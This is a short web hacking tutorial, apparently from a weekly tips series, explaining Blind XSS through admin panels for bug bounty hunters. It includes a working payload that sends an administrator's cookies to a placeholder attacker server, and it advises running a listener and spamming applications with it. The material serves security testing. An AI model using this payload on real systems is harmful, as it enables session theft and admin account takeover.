> For the complete documentation index, see [llms.txt](https://www.webhackingtips.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.webhackingtips.com/weekly-tips/week-27-blind-xss.md).

# Week 27 - Blind XSS

## Finding Blind XSS

In this week’s issue of the Web Hacking Series, we’ll be covering an exotic and rarely tested feature of application security: Blind XSS.

I’m sure most of you are familiar with Stored, Reflected and Self XSS. But the lesser-known red-headed-stepchild of the family, Blind XSS, is often completely missed. Keep this in mind if you are a bug bounty hunter.

Blind XSS occurs when an attacker injects a JavaScript payload ‘blindly’ into an application, with the hope of it being stored and later pulled into a page accessible to administrators/higher-privileged users. I’ve seen this frequently with applications that implement an admin panel. Say there is an internal admin page that lists every username/email within an application. If a user enters a XSS payload as their username, and that username payload is pulled and executed by the admin upon viewing the page, we would have discovered ourselves a Blind XSS!

You can often use Blind XSS to takeover an admin account by stealing from cookies/local storage and exfiltrating them to your server:

`"><script>document.write('<img src="http[:]//[attacker_domain]:[port]/123456?cookie=' + document.cookie + '"/>')</script>`

Ensure you have a listener running to receive the connection from the above payload.

I highly recommend buying yourself a cheap DigitalOcean VPS (\~$5 a month) and keep the listener running in a tmux session for the length of your engagement. Then just spam the application with the above payload and check every now and again for new connections!

![SRC: https://gupta-bless.medium.com/exploiting-blind-xss-75a72ce0d605](/files/ak148t1zEYpim3MBfu0D)